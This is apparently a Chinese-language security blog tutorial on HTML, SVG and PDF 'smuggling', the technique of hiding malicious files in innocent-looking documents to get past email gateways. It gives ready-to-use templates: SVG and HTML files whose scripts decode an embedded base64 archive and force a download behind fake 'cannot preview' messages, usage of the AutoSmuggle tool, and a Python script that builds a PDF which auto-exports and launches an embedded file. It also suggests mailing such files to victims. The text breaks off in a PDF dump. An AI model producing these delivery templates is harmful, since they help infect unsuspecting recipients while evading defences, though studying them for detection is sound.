前言
什么是 Smuggling(走私)技术?“走私”是指在看似正常的文件中夹带私货,绕过安全电子邮件网关和其他网络防御措施,将恶意文件传送给受害者的一种方法。如果恶意文件没有被“走私”,而是直接附加到电子邮件中,或从IM软件传输,就会被扫描,很可能会被检测到。
为了避免这种情况,攻击者常见的做法是在合法的文件数据中夹带恶意 payload 和恶意 JavaScript代码(前提是文件类型支持插入和解析JS)。一旦恶意内容成功“走私”,受害者打开看似合法的文件,JS 代码执行,恶意 payload 就会被解密并落地。能实现这种走私技术的常见文件类型是HTML、SVG、PDF。
在MITRE ATT&CK框架中,Defense Evasion 阶段的 Obfuscated Files or Information 下面收录了两种走私技术: HTML Smuggling 和 SVG Smuggling ,PDF Smuggling 暂未被收录,但也确实有攻击组织在用,下面就讲一下这三种技术。
JavaScript Blob
在介绍各种走私技术之前,先科普一下 JavaScript Blob。在各种走私技术中,核心的点其实都是夹带恶意文件数据并让文件自动落地。其中最常用到的就是Blob 。
JavaScript 中的 Blob(Binary Large Object) 是一种用于处理二进制数据的原生对象,它能够表示不可变的原始数据(如文件内容、图像、音频等)。Blob 在前端开发中广泛用于文件操作、数据存储和传输,可以实现在前端动态生成文件供用户下载。
Blob 可以存储任意类型的二进制数据,例如文本、图片、视频等:
const textBlob = new Blob(['Hello World'], { type: 'text/plain' });
const imageBlob = new Blob([binaryData], { type: 'image/png' });
Blob 对象一旦创建,其内容不可更改,只能通过生成新的 Blob 来修改数据。它通过 type 参数指定数据的 MIME 类型(如 text/plain, application/octet-stream),来帮助浏览器正确解析数据。
通过 Blob 在前端生成文件并触发用户下载,需结合 Blob URL 和下载触发机制,过程如下:
1. 生成 Blob URL:使用 URL.createObjectURL(blob) 创建一个指向 Blob 的临时 URL,格式为 blob:<origin>/<uuid>。
该 URL 仅在当前会话有效,关闭页面后自动释放。
const blob = new Blob(['File Content'], { type: 'text/plain' });
const blobUrl = URL.createObjectURL(blob); // 生成临时 URL
2. 触发文件下载:通过动态创建 <a> 标签并设置 download 属性,强制浏览器下载文件而非导航到 URL:
const link = document.createElement('a');
link.href = blobUrl;
link.download = 'example.txt'; // 指定下载文件名
link.click(); // 模拟点击下载
URL.revokeObjectURL(blobUrl); // 释放内存
下载必须由用户主动触发(如点击按钮),否则会被浏览器拦截,所以需要结合模拟点击下载。
一、SVG Smuggling
MITRE ATT&CK 2025年4月新收录技术:
Obfuscated Files or Information: SVG Smuggling(T1027.017)
1.1 官方解释
攻击者可通过在看似无害的SVG文件中隐藏恶意负载,绕过内容过滤器进行数据和文件走私。SVG(可缩放矢量图形)是基于矢量、使用XML构建的图像文件。因此,它们可以合法包含<script>
标签,使攻击者能够嵌入恶意JavaScript负载。由于SVG常被视为普通图像文件,相比其他可执行文件类型,它们对用户而言可能显得更可疑性更低。SVG走私攻击可采取多种形式,例如:
-
组装恶意负载:在SVG文件中直接构造恶意代码组件。 -
下载恶意负载:通过SVG内的脚本触发远程恶意文件下载。 -
重定向用户至恶意网站:利用嵌入式脚本将用户跳转到钓鱼或攻击页面。 -
显示交互式欺骗内容:伪造的登录表单和下载按钮,诱导用户输入凭证或执行危险操作。
SVG走私攻击常与HTML走私结合使用,即把含恶意负载的SVG文件嵌入HTML文档。SVG文件也可被植入PDF等其他类型文档中实施攻击。
1.2 SVG 特性
SVG(可缩放矢量图形)文件是基于矢量的图像,能够在不损失质量的情况下随意进行缩放,常用于制作清晰的徽标、图标和图形。与 JPEG 或 PNG 等图像格式不同,SVG 文件基于 XML(可扩展标记语言),因此可以包含交互元素和脚本,这种灵活性使得 SVG 文件在网站、应用程序和数字营销平台上非常常见。
SVG示例:github图标
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32" width="512px" height="512px">
<path d="M 5 5 L 5 27 L 27 27 L 27 5 L 5 5 z M 7 7 L 25 7 L 25 25 L 7 25 L 7 7 z M 15.908203 9 C 11.989203 9 9 11.974766 9 15.884766 C 9 19.017766 10.967203 21.699578 13.783203 22.642578 C 14.148203 22.706578 14.275391 22.482781 14.275391 22.300781 C 14.275391 22.126781 14.267578 21.159453 14.267578 20.564453 C 14.267578 20.564453 12.283094 20.991656 11.871094 19.722656 C 11.871094 19.722656 11.547891 18.905406 11.087891 18.691406 C 11.087891 18.691406 10.444766 18.247859 11.134766 18.255859 C 11.134766 18.255859 11.833656 18.312328 12.222656 18.986328 C 12.840656 20.081328 13.878203 19.762078 14.283203 19.580078 C 14.346203 19.128078 14.530328 18.810906 14.736328 18.628906 C 13.157328 18.454906 11.5625 18.224719 11.5625 15.511719 C 11.5625 14.733719 11.776516 14.345703 12.228516 13.845703 C 12.156516 13.662703 11.911781 12.901781 12.300781 11.925781 C 12.895781 11.742781 14.251953 12.6875 14.251953 12.6875 C 14.814953 12.5365 15.424344 12.449219 16.027344 12.449219 C 16.630344 12.449219 17.241688 12.5365 17.804688 12.6875 C 17.804688 12.6875 19.160859 11.743781 19.755859 11.925781 C 20.143859 12.909781 19.897172 13.663703 19.826172 13.845703 C 20.278172 14.345703 20.556641 14.734719 20.556641 15.511719 C 20.556641 18.239719 18.8905 18.454906 17.3125 18.628906 C 17.5745 18.850906 17.796875 19.2715 17.796875 19.9375 C 17.796875 20.8895 17.789062 22.072734 17.789062 22.302734 C 17.789063 22.484734 17.916438 22.705578 18.273438 22.642578 C 21.088437 21.698578 23 19.017766 23 15.884766 C 23 11.974766 19.827203 9 15.908203 9 z M 11.5625 18.486328 C 11.5065 18.470328 11.459359 18.479719 11.443359 18.511719 C 11.427359 18.543719 11.449859 18.589094 11.505859 18.621094 C 11.553859 18.645094 11.609 18.637656 11.625 18.597656 C 11.641 18.565656 11.6185 18.517328 11.5625 18.486328 z M 11.816406 18.722656 C 11.789656 18.716656 11.764141 18.720234 11.744141 18.740234 C 11.704141 18.772234 11.711766 18.834625 11.759766 18.890625 C 11.807766 18.930625 11.870156 18.954062 11.910156 18.914062 C 11.950156 18.882062 11.942531 18.819672 11.894531 18.763672 C 11.870531 18.743672 11.843156 18.728656 11.816406 18.722656 z M 12.113281 19.089844 C 12.084531 19.079844 12.053297 19.081656 12.029297 19.097656 C 11.981297 19.129656 11.981297 19.202625 12.029297 19.265625 C 12.077297 19.328625 12.149453 19.360125 12.189453 19.328125 C 12.236453 19.296125 12.236453 19.216297 12.189453 19.154297 C 12.169453 19.122297 12.142031 19.099844 12.113281 19.089844 z M 12.4375 19.486328 C 12.404875 19.482328 12.375469 19.493578 12.355469 19.517578 C 12.316469 19.557578 12.331531 19.635406 12.394531 19.691406 C 12.457531 19.755406 12.536172 19.764797 12.576172 19.716797 C 12.616172 19.684797 12.593109 19.597016 12.537109 19.541016 C 12.505609 19.509016 12.470125 19.490328 12.4375 19.486328 z M 12.982422 19.802734 C 12.911422 19.786734 12.824594 19.809234 12.808594 19.865234 C 12.792594 19.921234 12.848734 19.985953 12.927734 20.001953 C 12.998734 20.033953 13.085562 20.000312 13.101562 19.945312 C 13.125563 19.890312 13.069422 19.826734 12.982422 19.802734 z M 14.052734 19.828125 C 13.973734 19.844125 13.917781 19.899891 13.925781 19.962891 C 13.933781 20.017891 14.012797 20.049203 14.091797 20.033203 C 14.178797 20.017203 14.23475 19.96225 14.21875 19.90625 C 14.21075 19.85025 14.132734 19.819125 14.052734 19.828125 z M 13.529297 19.890625 C 13.441297 19.890625 13.378906 19.938141 13.378906 19.994141 C 13.378906 20.057141 13.442109 20.105656 13.537109 20.097656 C 13.625109 20.097656 13.6875 20.050141 13.6875 19.994141 C 13.6875 19.930141 13.609297 19.882625 13.529297 19.890625 z"/>
</svg>
效果:
SVG 是基于 XML 的格式,其规范允许使用<script>标签添加脚本功能,攻击者正是滥用此特性,将恶意 JS 脚本插入 SVG 文件,这些脚本可以在打开文件时自动执行,进行恶意文件下载、数据窃取等等。
例如,我在上面的 SVG 中插入如下 JS 代码片段,完成SVG渲染后执行alert():
<script type="text/javascript">
setTimeout(() => {
alert("嗨嗨嗨");
}, 50);
</script>
效果如下,图像渲染完成后JS脚本自动执行:
这种方式无需明确的用户交互即可自动执行隐藏的恶意脚本,传统的安全过滤器和防病毒工具难以有效检测和阻止威胁。
1.3 SVG 走私实现
在合法的 SVG 内容中夹带恶意 payload 和恶意 JS 代码,受害者通过浏览器浏览 SVG 图像时,其中的 JS 代码被解析执行,恶意 payload 就会被解密并落地。
根据互联网资料,最早在2015 年,SVG 文件被用来大范围传播勒索软件,当时的 SVG 文件使用嵌入内容(url)远程下载恶意文件,然后要求受害者与这些文件进行交互。如下:
SVG 文件的下一次大规模应用是在 2022 年,当时是被用来传播嵌入在 SVG 文件中的 .zip 压缩包,这些压缩包包含QakBot 恶意软件。这与之前的 SVG 文件不同,之前的 SVG 文件在打开时会从外部下载后续恶意软件,而这次payload直接加密嵌入在SVG中,就像这样:
例如,我们可以生成一个具有迷惑性的SVG图像:
<svg width="800" height="600" xmlns="http://www.w3.org/2000/svg">
<g>
<title>Layer 1</title>
<text transform="matrix(1.17502 0 0 1.37529 -23.4524 -62.7729)" stroke="#000" xml:space="preserve" text-anchor="start" font-family="Noto Sans JP" font-size="24" id="svg_3" y="193" x="134" stroke-width="0" fill="#CC7C65">当前浏览器不支持查看此类文件!</text>
<text transform="matrix(1.14464 0 0 1.37596 -95.1592 -106.196)" stroke="#000" xml:space="preserve" text-anchor="start" font-family="Noto Sans JP" font-size="24" id="svg_4" y="308" x="250" stroke-width="0" fill="#529D94">相关文件已下载,请在本地解压访问!</text>
</g>
</svg>
图像显示如下:
在SVG中插入恶意JS脚本,内嵌恶意文件数据,在SVG渲染完成后通过blob对象结合模拟点击自动将其下载落地:
<svg width="800" height="600" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
<![CDATA[
setTimeout(() => {
var text= 'UEsDBBQAAAAI...恶意文件base64数据..';
function b64toBlob(b64Data,sliceSize)
{
var byteArrays =[];
var byteCharacters = atob(b64Data);
for(var offset =0; offset < byteCharacters.length; offset += sliceSize)
{
var slice =byteCharacters.slice(offset, offset + sliceSize);
var byteNumbers =new Array(slice.length);
for(var i =0;i < slice.length; i++)
{
byteNumbers[i]= slice.charCodeAt(i);
}
var byteArray =new Uint8Array(byteNumbers);
byteArrays.push(byteArray);
}
var blob = new Blob(byteArrays,{type:"application/zip"});
return blob;
}
function newFile(blob){
let file = new File([blob],"test.zip",{type: "application/zip"});
let exportUrl =URL.createObjectURL(file);
window.location.assign(exportUrl);
URL.revokeObjectURL(exportUrl);
}
var blob =b64toBlob(text, 512);
newFile(blob);
}, 50);
]]>
</script>
<g>
<title>Layer 1</title>
<text transform="matrix(1.17502 0 0 1.37529 -23.4524 -62.7729)" stroke="#000" xml:space="preserve" text-anchor="start" font-family="Noto Sans JP" font-size="24" id="svg_3" y="193" x="134" stroke-width="0" fill="#CC7C65">当前浏览器不支持查看此类文件!</text>
<text transform="matrix(1.14464 0 0 1.37596 -95.1592 -106.196)" stroke="#000" xml:space="preserve" text-anchor="start" font-family="Noto Sans JP" font-size="24" id="svg_4" y="308" x="250" stroke-width="0" fill="#529D94">相关文件已下载,请在本地解压访问!</text>
</g>
</svg>
我们可以将这个图片托管到服务器上,传播图片链接,或者作为邮件附件发送,当通过浏览器访问这个图片时,恶意文件就会自动落地。效果:
SVG 走私通常与 HTML 文件相结合,也就是将 SVG 的 XML 数据嵌入在 HTML 里,因为SVG文件本质是由XML标记语言构建的图像文件,允许通过常规 XML 标签嵌入 HTML 文档。这样做可能是为了诱导受害者通过浏览器打开文件,毕竟通过看图软件打开 SVG 图像一般不会触发其中的 JS 代码执行。
注:HTML 也可以不依赖 SVG 数据进行走私,HTML Smuggling 也是一个单独的技术点,下面说。
二、HTML Smuggling
T1027.006
2.1 官方解释
攻击者可能通过将恶意负载隐藏在看似无害的HTML文件中,绕过内容过滤机制进行数据走私。HTML文档可以存储称为JavaScript Blob(表示原始字节的不可变数据)的大型二进制对象,这些对象后续可被构造为类文件对象。数据也可以存储在数据URL中,这种URL允许将媒体类型或MIME文件内联嵌入HTML文档。HTML5还引入了可用于发起文件下载的download属性。
攻击者可能通过滥用JavaScript Blob和/或HTML5的download属性,向受害者投递绕过安全控制的恶意负载。由于内容可能基于通常无害的MIME类型(如text/plain和/或text/html),网络安全控制措施(如网页内容过滤器)可能无法识别隐藏在HTML/JS文件中的走私恶意文件。恶意文件或数据可通过数据URL或JavaScript Blob进行混淆并隐藏在HTML文件中,当到达受害者终端时进行反混淆(即"反混淆/解码文件或信息"),从而绕过内容过滤检测。
例如,攻击者可滥用JavaScript Blob在受害者机器上动态生成恶意文件,并通过滥用msSaveBlob等JavaScript函数将文件写入磁盘。
2.2 HTML 走私实现
HTML 走私的目标是利用 HTML5/JavaScript 功能来进行文件下载,原理跟SVG走私是类似的,一个是在SVG数据中插入JavaScript,一个是在HTML中插入JavaScript。例如:
<!DOCTYPE html><html><head>
<meta charset="UTF-8">
<title>文件下载提示</title>
<style>
body {font-family: Arial, sans-serif;text-align: center;margin-top: 100px;background-color: #f5f5f5;}
.download-message {font-size: 24px;font-weight: bold;color: #333;margin-bottom: 30px;}
</style></head>
<body>
<div class="download-message">当前文件不支持浏览器预览,正在下载到本地...</div>
<script>
const base64Data =
"UEsDBBQAAAAIAEWIlVrS2VcvFxsFAAAOCQAHAAAAN3....恶意文件base64编码..";
const fileName = "test.zip";
const mimeType = "application/zip";
function b64toBlob(base64) {
const binaryString = atob(base64Data);
const bytes = new Uint8Array(binaryString.length);
for (let i = 0; i < binaryString.length; i++) {
bytes[i] = binaryString.charCodeAt(i);
}
return bytes;
}
functiontriggerDownload() {
const data = b64toBlob(base64Data);
const blob = new Blob([data], { type: mimeType });
if (window.navigator.msSaveBlob) {
navigator.msSaveBlob(blob, fileName);
} else {
const link = document.createElement('a');
const url = URL.createObjectURL(blob);
link.href = url;
link.download = fileName;
link.style.display = 'none';
document.body.appendChild(link);
setTimeout(() => {
link.click();
URL.revokeObjectURL(url);
document.body.removeChild(link);
}, 300);
}
}
setTimeout(triggerDownload, 1500);
</script>
</body>
</html>
效果:
除了通过 JavaScript blob 技术实现文件下载之外,我们还可以通过 Data URLs 进行文件下载。
Data URLs 是一种特殊协议,允许直接在网页中嵌入数据,格式为:
data:[<MIME-type>][;charset=<encoding>][;base64],<data>
典型应用场景有内嵌小文件(如图标)、动态生成内容等,支持所有现代浏览器。通过 Data URLs 进行文件走私下载:
<!DOCTYPE html><html><head>
<meta charset="UTF-8">
<title>文件预览</title>
<style>
body {font-family: Arial, sans-serif;text-align: center;margin-top: 100px;background-color: #f5f5f5; }
.download-message {font-size: 24px;font-weight: bold;color: #333;margin-bottom: 30px; }
</style></head>
<body>
<div class="download-message">当前文件不支持浏览器预览,正在下载到本地...</div>
<script>
const base64Data =
"UEsDBBQAAAAIAEWIlVrS2VcvFxsFAAAOCQAHAAAAN3pyLmV4ZeS9e1xc1b.....";
// 构建Data URL
const dataUrl = `data:application/zip;base64,${base64Data}`;
// 自动触发下载
setTimeout(() => {
const link = document.createElement('a');
link.download = 'test2.zip';
link.href = dataUrl;
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
}, 2000);
</script>
</body>
</html>
效果:
附:Data URLs 与 Blob 差异
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
三、AutoSmuggle 工具
一个自动生成 HTML/SVG Smuggling 文件的工具,可以将提供的 paylaod 嵌入到 SVG 或 HTML 中。
项目链接:
https://github.com/surajpkhetani/AutoSmuggle
工具用法:
Autosmuggle.exe <path-of-your-binary-to-be-smuggled> <output-expected> <svg/html>
Autosmuggle.exe C:PathToyourfile.exe smuggledfile.exe svg
[*] Trying...
[+] Reading Data
[+] Converting to Base64
[*] Smuggling in SVG
[+] File Written to Current Directory...
这将在当前目录中创建一个名为 smuggled.html 或 smuggled.svg 的文件。
例如,将 ZIP 文件嵌入 SVG,生成一个走私 SVG 文件:
生成的 SVG 文件内容:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" width="100" height="100">
<circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red"/>
<script type="application/ecmascript"><![CDATA[
document.addEventListener("DOMContentLoaded", function() {
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
var file = 'UEsDBBQAAAAIAEWIlVrS2V....文件数据b64编码...BAAEAWgAAAD0bBQAAAA==';
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'test3.zip';
var a = document.createElementNS('http://www.w3.org/1999/xhtml', 'a');
document.documentElement.appendChild(a);
a.setAttribute('style', 'display: none');
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
});
]]></script>
</svg>
四、PDF Smuggling
4.1 PDF 走私原理
这种手法目前未被 ATT&CK 框架收录,之前笔者在研究 APT 样本时,发现有攻击组织会在PDF中插入恶意 JavaScript 代码,利用部分 PDF 阅读器支持的能力,实现嵌入在 PDF 文件中的恶意文件落地。但是这种方式的利用范围比较小,受阅读器特性影响很大。而且 PDF 阅读器的 JavaScript 执行环境是一个高度定制化的沙箱,其功能与浏览器中的标准 JavaScript 存在显著差异,大部分标准的 JavaScript 能力可能都不被支持。
例如,Adobe Acrobat 支持解析 PDF 中嵌入 JavaScript 代码,但这些代码只能调用阅读器提供的 JavaScript API,用于增强 PDF 的交互功能,但无法通过标准 JavaScript 获得系统交互能力。exportDataObject 是 Adobe Acrobat 提供的 JavaScript 扩展方法,允许从 PDF 中导出嵌入的文件。
APT29 曾将 PDF 走私与 HTML 走私相结合,利用 exportDataObject 方法,当 PDF 被 Adobe Acrobat 阅读器打开时,自动导出和打开其中嵌入的 HTML 文件,在 HTML 中落地恶意文件。PDF 样本部分内容如下:
4.2 PDF 走私实现
我们也可以不依赖 HTML 走私,直接在 PDF 中嵌入恶意文件,例如 ZIP 压缩包。由于 exportDataObject 接口支持文件落地后自动打开,所以甚至可以嵌入 EXE 等可执行文件。不过需要注意的是,通过这种方式走私文件,在导出和打开文件时,阅读器默认都会有安全提示,不论里面的恶意文件是否经过免杀:
我们可以通过 py 脚本生成此类 PDF 文件:
import os
from PyPDF2 import PdfWriter
from PyPDF2.generic import (NameObject,TextStringObject,DecodedStreamObject,DictionaryObject,ArrayObject)
def create_advanced_pdf(input_file, output_pdf):
# 读取要嵌入的文件
with open(input_file, "rb") as f:
file_data = f.read()
file_name = os.path.basename(input_file)
writer = PdfWriter()
# 添加PDF页面
page_ref = writer.add_blank_page(width=595, height=842)
# 创建JavaScript动作
js_code = f"""
this.exportDataObject({{
cName: "{file_name}",
nLaunch: 2
}});
"""
js_action = DictionaryObject({
NameObject("/S"): NameObject("/JavaScript"),
NameObject("/JS"): TextStringObject(js_code)
})
js_action_ref = writer._add_object(js_action)
# 构建嵌入式文件
file_stream = DecodedStreamObject()
file_stream.set_data(file_data)
file_stream.update({})
file_stream_ref = writer._add_object(file_stream)
# 文件规格描述
filespec = DictionaryObject({
NameObject("/F"): TextStringObject(file_name),
NameObject("/Type"): NameObject("/Filespec"),
NameObject("/EF"): DictionaryObject({
NameObject("/F"): file_stream_ref
})
})
filespec_ref = writer._add_object(filespec)
# 组装命名树
names = DictionaryObject({
NameObject("/EmbeddedFiles"): DictionaryObject({
NameObject("/Names"): ArrayObject([
TextStringObject(file_name),
filespec_ref
])
})
})
# 更新根对象
writer._root_object.update({
NameObject("/Names"): names,
NameObject("/OpenAction"): js_action_ref,
NameObject("/PageLayout"): NameObject("/SinglePage")
})
# 生成文件
with open(output_pdf, "wb") as f:
writer.write(f)
if __name__ == "__main__":
try:
create_advanced_pdf("test.zip", "test.pdf")
print("PDF生成成功!")
except Exception as e:
print(f"生成失败: {str(e)}")
在本例中,嵌入一个 ZIP 压缩包,设置为导出后自动打开,效果如下,使用阅读器打开后,压缩包被自动导出到临时目录中,通过关联程序打开了:
生成的 PDF 文件数据:
%PDF-1.3
1 0 obj
<<
/Type /Pages
/Count 1
/Kids [ 4 0 R ]
>>
endobj
2 0 obj
<<
/Producer (PyPDF2)
>>
endobj
3 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/Names <<
/EmbeddedFiles <<
/Names [ (test
评论